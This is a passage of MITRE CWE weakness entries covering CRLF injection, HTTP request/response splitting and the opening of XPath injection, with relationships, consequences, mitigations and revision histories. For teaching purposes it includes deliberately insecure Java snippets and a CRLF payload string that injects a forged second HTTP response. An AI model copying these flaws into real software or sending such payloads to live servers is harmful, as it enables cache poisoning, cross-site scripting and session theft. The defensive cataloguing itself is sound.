MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERComment Element
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name
2009-07-27CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Comment Element
2008-04-11Failure to Remove Comment Element
2009-03-10Failure to Sanitize Comment Element
2010-04-05Improper Sanitization of Comment Delimiters

CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')

Weakness ID: 93
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.113Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.117Improper Output Neutralization for Logs
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data

+ Demonstrative Examples

Example 1

If user input data that eventually makes it to a log message isn't checked for CRLF characters, it may be possible for an attacker to forge entries in a log file.

(bad code)
Example Language: Java 
logger.info("User's street address: " + request.getParameter("streetAddress"));
+ Observed Examples
ReferenceDescription
CRLF injection enables spam proxy (add mail headers) using email address or name.
CRLF injection in API function arguments modify headers for outgoing requests.
Spoofed entries in web server log file via carriage returns
Chain: inject fake log entries with fake timestamps using CRLF injection
Chain: Application accepts CRLF in an object ID, allowing HTTP response splitting.
Chain: HTTP response splitting via CRLF in parameter related to URL.
+ Potential Mitigations

Phase: Implementation

Avoid using CRLF as a special sequence.

Phase: Implementation

Appropriately filter or quote CRLF sequences in user-controlled input.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.713OWASP Top Ten 2007 Category A2 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCRLF Injection
OWASP Top Ten 2007A2CWE More SpecificInjection Flaws
WASC24HTTP Request Splitting
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-928] Ulf Harnhammar. "CRLF Injection". Bugtraq. 2002-05-07. <http://marc.info/?l=bugtraq&m=102088154213630&w=2>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-03-10CWE Content TeamMITRE
updated References
2009-05-27CWE Content TeamMITRE
updated Name
2009-10-29CWE Content TeamMITRE
updated Other_Notes
2009-12-28CWE Content TeamMITRE
updated Likelihood_of_Exploit
2010-02-16CWE Content TeamMITRE
updated Related_Attack_Patterns, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Research_Gaps
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11CRLF Injection
2009-05-27Failure to Sanitize CRLF Sequences (aka 'CRLF Injection')
2010-06-21Failure to Sanitize CRLF Sequences ('CRLF Injection')

CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')

Weakness ID: 113
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives data from an HTTP agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.
+ Extended Description

HTTP agents or components may include a web server, load balancer, reverse proxy, web caching proxy, application firewall, web browser, etc. Regardless of the role, they are expected to maintain coherent, consistent HTTP communication state across all components. However, including unexpected data in an HTTP header allows an attacker to specify the entirety of the HTTP message that is rendered by the client HTTP agent (e.g., web browser) or back-end HTTP agent (e.g., web server), whether the message is part of a request or a response.

When an HTTP request contains unexpected CR and LF characters, the server may respond with an output stream that is interpreted as "splitting" the stream into two different HTTP messages instead of one. CR is carriage return, also given by %0d or \r, and LF is line feed, also given by %0a or \n.

In addition to CR and LF characters, other valid/RFC compliant special characters and unique character encodings can be utilized, such as HT (horizontal tab, also given by %09 or \t) and SP (space, also given as + sign or %20).

These types of unvalidated and unexpected data in HTTP message headers allow an attacker to control the second "split" message to mount attacks such as server-side request forgery, cross-site scripting, and cache poisoning attacks.

HTTP response splitting weaknesses may be present when:

  1. Data enters a web application through an untrusted source, most frequently an HTTP request.
  2. The data is included in an HTTP response header sent to a web user without neutralizing malicious characters that can be interpreted as separator characters for headers.
+ Alternate Terms
HTTP Request Splitting
HTTP Response Splitting
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.436Interpretation Conflict
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.93Improper Neutralization of CRLF Sequences ('CRLF Injection')
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Web Based (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Access Control

Technical Impact: Modify Application Data; Gain Privileges or Assume Identity

CR and LF characters in an HTTP header may give attackers control of the remaining headers and body of the message that the application intends to send/receive, as well as allowing them to create additional messages entirely under their control.
+ Demonstrative Examples

Example 1

The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.

(bad code)
Example Language: Java 
String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);

Assuming a string consisting of standard alpha-numeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:

(result)
 
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...

However, because the value of the cookie is composed of unvalidated user input, the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as

(attack code)
 
Wiley Hacker\r\nHTTP/1.1 200 OK\r\n

then the HTTP response would be split into two responses of the following form:

(result)
 
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...

The second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability to construct arbitrary HTTP responses permits a variety of resulting attacks, including:

  • cross-user defacement
  • web and browser cache poisoning
  • cross-site scripting
  • page hijacking

Example 2

An attacker can make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server.

Cross-User Defacement can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server.

  • In the best case, an attacker can leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application.
  • In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Example 3

The impact of a maliciously constructed response can be magnified if it is cached, either by a web cache used by multiple users or even the browser cache of a single user.

Cache Poisoning: if a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although the user of the local browser instance will be affected.

Example 4

Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users.

Cross-Site Scripting: cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser.

The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Example 5

In addition to using a vulnerable application to send malicious content to a user, the same weakness can also be leveraged to redirect sensitive content generated by the server to the attacker instead of the intended user.

Page Hijacking: by submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker can cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server to the attacker instead of the intended user.

Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

+ Observed Examples
ReferenceDescription
Chain: Proxy uses a substring search instead of parsing the Transfer-Encoding header (CWE-697), allowing request splitting (CWE-113) and cache poisoning
Scala-based HTTP interface allows request splitting and response splitting through header names, header values, status reasons, and URIs
Javascript-based framework allows request splitting through a path option of an HTTP request
Application accepts CRLF in an object ID, allowing HTTP response splitting.
Shopping cart allows HTTP response splitting to perform HTML injection via CRLF in a parameter for a url
Bulletin board allows response splitting via CRLF in parameter.
Response splitting via CRLF in PHPSESSID.
e-commerce app allows HTTP response splitting using CRLF in object id parameters
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Construct HTTP headers very carefully, avoiding the use of non-validated input data.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. If an input does not strictly conform to specifications, reject it or transform it into something that conforms.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERHTTP response splitting
7 Pernicious KingdomsHTTP Response Splitting
WASC25HTTP Response Splitting
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-43] OWASP. "OWASP TOP 10". 2007-05-18. <https://github.com/owasp-top/owasp-top-2007>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 31. McGraw-Hill. 2010.
[REF-1272] Robert Auger. "HTTP Request Splitting". 2011-02-01. <http://projects.webappsec.org/w/page/13246929/HTTP%20Request%20Splitting>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2022-02-25
(CWE 4.9, 2022-10-13)
Jonathan LeitschuhDan Kaminsky Fellowship @ HUMAN Security
Suggested a new entry for HTTP Request Splitting, leading to scope expansion for CWE-113
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated References, Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Observed_Example, Other_Notes, References, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Description, Other_Notes
2009-03-10CWE Content TeamMITRE
updated Demonstrative_Examples
2009-05-27CWE Content TeamMITRE
updated Name
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Description, Other_Notes, Theoretical_Notes
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Description
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Potential_Mitigations, Relationships, Type
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-06-28
(CWE 4.8, 2022-06-28)
CWE Content TeamMITRE
Extended the abstraction of this entry to include both HTTP request and response splitting.
2022-06-28
(CWE 4.8, 2022-06-28)
CWE Content TeamMITRE
updated Alternate_Terms, Common_Consequences, Demonstrative_Examples, Description, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Theoretical_Notes
2022-10-13
(CWE 4.9, 2022-10-13)
CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2023-01-31
(CWE 4.10, 2023-01-31)
CWE Content TeamMITRE
updated Description
2023-04-27
(CWE 4.11, 2023-04-23)
CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11
(CWE Draft 9)
HTTP Response Splitting
2009-05-27
(CWE 1.4)
Failure to Sanitize CRLF Sequences in HTTP Headers (aka 'HTTP Response Splitting')
2010-06-21
(CWE 1.9)
Failure to Sanitize CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
2022-06-28
(CWE 4.8)
Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')

Weakness ID: 643
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.
+ Extended Description
The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.91XML Injection (aka Blind XPath Injection)
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.943Improper Neutralization of Special Elements in Data Query Logic
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

Controlling application flow (e.g. bypassing authentication).
Confidentiality

Technical Impact: Read Application Data

The attacker could read restricted XML content.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

Consider the following simple XML document that stores authentication information and a snippet of Java code that uses XPath query to retrieve authentication information:

(informative)
Example Language: XML 
<users>
<user>
<login>john</login>
<password>abracadabra</password>
<home_dir>/home/john</home_dir>
</user>
<user>
<login>cbc</login>
<password>1mgr8</password>
<home_dir>/home/cbc</home_dir>
</user>
</users>

The Java code used to retrieve the home directory based on the provided credentials is:

(bad code)
